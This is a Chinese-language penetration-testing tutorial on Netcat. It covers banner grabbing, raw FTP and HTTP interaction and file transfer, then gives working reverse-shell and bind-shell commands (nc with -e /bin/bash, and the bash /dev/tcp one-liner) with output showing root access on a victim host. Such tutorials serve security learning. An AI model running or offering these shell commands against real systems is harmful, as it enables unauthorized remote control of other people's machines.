Netcat 網路攻擊 以及 應用
1.用Netcat進行黑客攻擊第1部分:基礎知識
Netcat是一個很好的網路實用程式,用於使用TCP和UPD協議讀取和寫入網路連線。Netcat通常被稱為網路工具中的瑞士軍刀,我們將在使用黑客教程的不同教程中大量使用它。Netcat最常見的用途是設定反向和繫結shell,管道和重定向網路流量,埠偵聽,除錯程式和指令碼以及Banner抓取。在本教程中,我們將學習如何使用Netcat的基本功能,如:
Banner抓取 原始連線 Web伺服器互動
1.1 Netcat Banner獲取
使用以下命令來獲取伺服器Banner(與服務建立原始連線):
nc [ip address] [port]
我們來試試這個在21埠執行的Metasploitable 2上的FTP服務:
nc 192.168.1.100 21
nc [ip] [port]用於與埠進行原始連線,當可用時將返回伺服器Banner。
code:
rocky@kail: nc 23.105.202.xx 21 # 21 ftp 控制連結
220 (vsFTPd 2.2.2) # 系統服務 banner
1.2 Netcat原連線
為了演示原始連線的工作原理,我們將在FTP服務連線到目標主機後發出一些FTP命令。
在匿名的情況下,我們來看看這個FTP伺服器是否允許匿名訪問,通過USER和PASS命令。
code:
rocky@kail: nc 23.105.202.xx 21
220 (vsFTPd 2.2.2)
user ligang
331 Please specify the password.
1.3 Web伺服器互動
Netcat還可以通過發出HTTP請求與Web伺服器進行互動。
通過以下命令,我們可以抓住在Metasploitable 2上執行的Web服務的Banner:
nc 23.105.202.xx 80
然後執行此HTTP請求:
HEAD / HTTP / 1.0
rocky@kail: nc 23.105.202.xx 80
HEAD / HTTP / 1.0 << 輸入
HTTP/1.1 400 Bad Request
Server: nginx/1.12.0
Date: Sun, 28 May 2017 08:06:19 GMT
Content-Type: text/html
Content-Length: 173
Connection: close
1.4 使用Netcat進行檔案傳輸
在這個例子中,我們將使用Netcat連線傳輸一個文字檔案。假設我們在目標主機上執行遠端命令,我們希望將檔案從攻擊主機傳輸到目標主機。首先,我們需要在目標主機上設定一個偵聽器,並從攻擊主機連線到它。我們將使用埠8080用於此目的,我們將該檔案安全儲存到桌面:
nc -lvp 8080> 1.txt
在攻擊主機上,我們連線到8080埠併傳送檔名稱transfer.txt:
nc 192.168.100.107 8080 < 1.txt
2 用Netcat進行黑客攻擊第2部分:繫結和反向shell
Netcat反向reverse shell
在滲透測試中,最常見,或者最受歡迎的用法是反向 reverse shell和正向bind shell。反向shell是從目標主機發起到處於監聽狀態的攻擊機器的shell連線方式,又叫被動連線,而正向bind shell是攻擊主機通過特定的埠進行偵聽目標主機即將到來的連線。在惡意軟體中,bind shell又通常被稱為後門。
在下面的內容中我們將展示使用bind shell和reverse shell。下面將使用4444埠,但請注意,這可以是任何開放埠。實際上,通常您需要使用更常見的埠,如80和443來設定反向shell,因為這些埠是更常見的開啟。
NC reverse shell 工作原理:
攻擊主機A執行:
nc -lvp 4444 ; 監聽被攻擊者連結
被攻擊主機B執行:
nc xxx.xxx.xxx.xxx 4444 -e /bin/bash ; 將bash shell 許可權提供給攻擊者 實現控制許可權的轉移;
實現通訊後:
在攻擊主機A上執行命令,即可操作被攻擊者B
缺點:
此時被攻擊者B 需要使用Netcat命令, 而且普通 GNU Linux nc 並沒有 -e { -e filename program to exec after connect [dangerous]} 引數; 顧此種反向連結並不適用;
2.1 使用Bash 來代替Nc實現反向連結;
被攻擊主機B:
bash -i>& /dev/tcp/23.105.202.xx/4444 0>&1
攻擊者A:
nc -lvp 4444
A機程式碼:
[root@virtualS ~]# nc -lvp 4444
Connection from 111.15.33.114:17835 ## 此時B機執行轉移指令 bash -i>& /dev/tcp/23.105.202.xx/4444 0>&1
root@kailvirtual:~#
root@kailvirtual:~#
root@kailvirtual:~#
root@kailvirtual:~#
root@kailvirtual:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@kailvirtual:~#
bash -i>& /dev/tcp/23.105.202.xx/4444 0>&1
命令解釋:
bash:
-i if the -i option is present, the shell is interactive
shell:
0/1/2 分別代表Linux標準輸入,輸出,異常 即 C程式設計中的 stdin, stdout, stderr
0>&1 指 將標準輸入完全輸出到標準輸出中;
採用&可以將 0/1 繫結在一起。這條命令的作用標準輸入將和標準輸出同用一個檔案描述符,說人話就是錯誤輸入將會和標準輸出輸出到同一個地方。
2.2 Netcat正向bind Shell
bind shell是一個繫結到目標主機上的特定埠以監聽即將到來的連線的shell。我們來看看一個Netcat正向bind shell的原理:
攻擊主機A:
rocky@mac: nc 192.168.1.9 4444
id
uid=0(root) gid=0(root) groups=0(root)
echo $HOSTNAME
kailvirtual
相同點:
我們都需要被攻擊者將其shell控制許可權交給我們
將shell command 以資料流的形式重定向到被攻擊主機的Bash shell中;